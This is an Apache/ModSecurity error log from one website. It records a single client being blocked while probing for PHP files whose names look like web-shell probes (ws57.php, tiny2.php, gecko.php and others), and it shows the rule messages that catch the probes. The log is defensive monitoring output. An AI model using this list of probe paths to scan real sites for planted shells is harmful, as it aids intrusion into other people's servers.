[Sat Apr 18 21:10:36.500244 2026] [:error] [pid 9865:tid 9940] [client 4.223.172.220:55205] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/view.php"] [unique_id "aeOCzKzb5knECIY-C-iMIQAAAIM"]
[Sat Apr 18 21:10:39.980921 2026] [:error] [pid 32678:tid 32730] [client 4.223.172.220:46768] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/view.php"] [unique_id "aeOCzxUlAXU_ZWUu5y_8sQAAApc"]
[Sat Apr 18 21:10:44.755705 2026] [:error] [pid 13023:tid 13047] [client 4.223.172.220:61639] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeOC1P1e7hG8DAeABB8WWgAAARY"]
[Sat Apr 18 21:10:48.687172 2026] [:error] [pid 32647:tid 32655] [client 4.223.172.220:11501] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeOC2EkxooM0iRo6e54mUwAAAgU"]
[Sat Apr 18 21:10:50.624922 2026] [:error] [pid 13023:tid 13026] [client 4.223.172.220:65217] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeOC2v1e7hG8DAeABB8WaQAAAQE"]
[Sat Apr 18 21:10:53.269653 2026] [:error] [pid 9863:tid 9888] [client 4.223.172.220:65222] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aeOC3TjjiypiFrTucbLRgAAAAA8"]
[Sat Apr 18 21:10:54.711109 2026] [:error] [pid 9863:tid 9894] [client 4.223.172.220:11482] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeOC3jjjiypiFrTucbLRgQAAABU"]
[Sat Apr 18 21:10:56.991372 2026] [:error] [pid 13023:tid 13026] [client 4.223.172.220:11485] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeOC4P1e7hG8DAeABB8WeAAAAQE"]
[Sat Apr 18 21:10:59.092415 2026] [:error] [pid 32678:tid 32729] [client 4.223.172.220:41759] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeOC4xUlAXU_ZWUu5y_8ygAAApY"]
[Sat Apr 18 21:11:00.756547 2026] [:error] [pid 9863:tid 9895] [client 4.223.172.220:41733] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeOC5DjjiypiFrTucbLRiAAAABY"]
[Sat Apr 18 21:11:02.962387 2026] [:error] [pid 9864:tid 9918] [client 4.223.172.220:41760] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeOC5oCFeowknfXHM7kkUwAAAEw"]
[Sat Apr 18 21:11:05.752985 2026] [:error] [pid 32647:tid 32652] [client 4.223.172.220:63427] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeOC6UkxooM0iRo6e54mWQAAAgI"]
[Sat Apr 18 21:11:09.334202 2026] [:error] [pid 32678:tid 32715] [client 4.223.172.220:41762] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeOC7RUlAXU_ZWUu5y_80wAAAog"]
[Sat Apr 18 21:11:11.397524 2026] [:error] [pid 13023:tid 13042] [client 4.223.172.220:61672] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "aeOC7_1e7hG8DAeABB8WmgAAARE"]
[Sat Apr 18 21:11:12.770232 2026] [:error] [pid 32678:tid 32710] [client 4.223.172.220:11669] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeOC8BUlAXU_ZWUu5y_83gAAAoM"]
[Sat Apr 18 21:11:13.972769 2026] [:error] [pid 34288:tid 34316] [client 4.223.172.220:46845] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeOC8eTIiy__PtiLmpnXIgAAAZg"]
[Sat Apr 18 21:11:15.745722 2026] [:error] [pid 9865:tid 9950] [client 4.223.172.220:44928] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeOC86zb5knECIY-C-iMRgAAAI0"]
[Sat Apr 18 21:11:16.636939 2026] [:error] [pid 13023:tid 13030] [client 4.223.172.220:55857] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeOC9P1e7hG8DAeABB8WugAAAQU"]
[Sat Apr 18 21:11:17.454107 2026] [:error] [pid 9865:tid 9946] [client 4.223.172.220:59025] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeOC9azb5knECIY-C-iMSwAAAIk"]
[Sat Apr 18 21:11:18.397329 2026] [:error] [pid 9864:tid 9924] [client 4.223.172.220:41128] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeOC9oCFeowknfXHM7kkZQAAAFI"]
[Sat Apr 18 21:11:24.281507 2026] [:error] [pid 32677:tid 32699] [client 4.223.172.220:59012] [client 4.223.172.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeOC_BngmUE3LdC-wP7gVgAAAlM"]
[Sat Apr 18 21:11:36.350710 2026] [:error] [pid 32677:tid 32681] [client 4.223.172.220:39836] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeODCBngmUE3LdC-wP7gigAAAkE"]
[Sat Apr 18 21:11:37.770081 2026] [:error] [pid 9864:tid 9922] [client 4.223.172.220:57830] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeODCYCFeowknfXHM7kkcgAAAFA"]
[Sat Apr 18 21:11:38.654522 2026] [:error] [pid 9864:tid 9927] [client 4.223.172.220:55247] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeODCoCFeowknfXHM7kkdQAAAFU"]
[Sat Apr 18 21:11:40.038903 2026] [:error] [pid 32677:tid 32694] [client 4.223.172.220:55281] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeODDBngmUE3LdC-wP7gkwAAAk4"]
[Sat Apr 18 21:11:41.632916 2026] [:error] [pid 9863:tid 9888] [client 4.223.172.220:51419] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "aeODDTjjiypiFrTucbLRkQAAAA8"]
[Sat Apr 18 21:11:44.818854 2026] [:error] [pid 34290:tid 34334] [client 4.223.172.220:44188] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "aeODEBqX6WpmmAXOBi8jQwAAAc8"]
[Sat Apr 18 21:11:54.594007 2026] [:error] [pid 34290:tid 34337] [client 4.223.172.220:57199] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "aeODGhqX6WpmmAXOBi8jVQAAAdI"]
[Sat Apr 18 21:12:21.269630 2026] [:error] [pid 13023:tid 13048] [client 4.223.172.220:42309] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeODNf1e7hG8DAeABB8W_QAAARc"]
[Sat Apr 18 21:12:24.460392 2026] [:error] [pid 9970:tid 9976] [client 4.223.172.220:57843] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeODOCYdRLRhVmaIMx3A2QAAAMI"]
[Sat Apr 18 21:12:28.381886 2026] [:error] [pid 32678:tid 32716] [client 4.223.172.220:47211] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeODPBUlAXU_ZWUu5y_9IQAAAok"]
[Sat Apr 18 21:12:30.457171 2026] [:error] [pid 32677:tid 32701] [client 4.223.172.220:61570] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeODPhngmUE3LdC-wP7guQAAAlU"]
[Sat Apr 18 21:12:33.845159 2026] [:error] [pid 9865:tid 9951] [client 4.223.172.220:39852] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "aeODQazb5knECIY-C-iMkgAAAI4"]
[Sat Apr 18 21:12:34.739646 2026] [:error] [pid 13023:tid 13025] [client 4.223.172.220:39826] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "aeODQv1e7hG8DAeABB8XHAAAAQA"]
[Sat Apr 18 21:12:52.290132 2026] [:error] [pid 32677:tid 32685] [client 4.223.172.220:42326] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeODVBngmUE3LdC-wP7g9QAAAkU"]
[Sat Apr 18 21:12:54.769829 2026] [:error] [pid 32678:tid 32722] [client 4.223.172.220:62235] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeODVhUlAXU_ZWUu5y_9OQAAAo8"]
[Sat Apr 18 21:12:56.487207 2026] [:error] [pid 9865:tid 9958] [client 4.223.172.220:61047] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeODWKzb5knECIY-C-iMpgAAAJU"]
[Sat Apr 18 21:12:57.047977 2026] [:error] [pid 9865:tid 9947] [client 4.223.172.220:62239] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "aeODWazb5knECIY-C-iMqAAAAIo"]
[Sat Apr 18 21:12:59.179220 2026] [:error] [pid 9864:tid 9920] [client 4.223.172.220:61622] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeODW4CFeowknfXHM7kkpQAAAE4"]
[Sat Apr 18 21:13:01.087804 2026] [:error] [pid 9863:tid 9885] [client 4.223.172.220:42317] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeODXTjjiypiFrTucbLRygAAAAw"]
[Sat Apr 18 21:13:03.003766 2026] [:error] [pid 13023:tid 13034] [client 4.223.172.220:39847] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeODX_1e7hG8DAeABB8XPQAAAQk"]
[Sat Apr 18 21:13:04.836881 2026] [:error] [pid 9970:tid 9980] [client 4.223.172.220:61597] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "aeODYCYdRLRhVmaIMx3A8AAAAMY"]
[Sat Apr 18 21:13:06.718877 2026] [:error] [pid 32678:tid 32720] [client 4.223.172.220:57824] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeODYhUlAXU_ZWUu5y_9RQAAAo0"]
[Sat Apr 18 21:13:08.314915 2026] [:error] [pid 32678:tid 32708] [client 4.223.172.220:62209] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeODZBUlAXU_ZWUu5y_9TgAAAoE"]
[Sat Apr 18 21:13:14.007769 2026] [:error] [pid 9865:tid 9952] [client 4.223.172.220:57845] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeODaqzb5knECIY-C-iMvQAAAI8"]
[Sat Apr 18 21:13:18.301960 2026] [:error] [pid 9863:tid 9891] [client 4.223.172.220:46263] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeODbjjjiypiFrTucbLR3AAAABI"]
[Sat Apr 18 21:13:21.653817 2026] [:error] [pid 32677:tid 32690] [client 4.223.172.220:42359] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeODcRngmUE3LdC-wP7hFwAAAko"]
[Sat Apr 18 21:13:23.093057 2026] [:error] [pid 9863:tid 9884] [client 4.223.172.220:62259] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeODczjjiypiFrTucbLR4QAAAAs"]
[Sat Apr 18 21:13:24.775431 2026] [:error] [pid 9863:tid 9878] [client 4.223.172.220:47203] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeODdDjjiypiFrTucbLR5AAAAAU"]
[Sat Apr 18 21:13:26.806359 2026] [:error] [pid 9970:tid 9992] [client 4.223.172.220:61038] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeODdiYdRLRhVmaIMx3A_gAAANI"]
[Sat Apr 18 21:13:27.977142 2026] [:error] [pid 9865:tid 9943] [client 4.223.172.220:46234] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeODd6zb5knECIY-C-iMyQAAAIY"]
[Sat Apr 18 21:13:28.745945 2026] [:error] [pid 9970:tid 9997] [client 4.223.172.220:55874] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeODeCYdRLRhVmaIMx3BAgAAANc"]
[Sat Apr 18 21:13:29.711313 2026] [:error] [pid 9863:tid 9887] [client 4.223.172.220:46259] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeODeTjjiypiFrTucbLR5wAAAA4"]
[Sat Apr 18 21:13:30.741603 2026] [:error] [pid 9970:tid 9997] [client 4.223.172.220:61055] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeODeiYdRLRhVmaIMx3BGgAAANc"]
[Sat Apr 18 21:13:32.210766 2026] [:error] [pid 9970:tid 9985] [client 4.223.172.220:39862] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aeODfCYdRLRhVmaIMx3BIQAAAMs"]
[Sat Apr 18 21:13:32.891073 2026] [:error] [pid 34288:tid 34313] [client 4.223.172.220:42331] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aeODfOTIiy__PtiLmpnXQwAAAZU"]
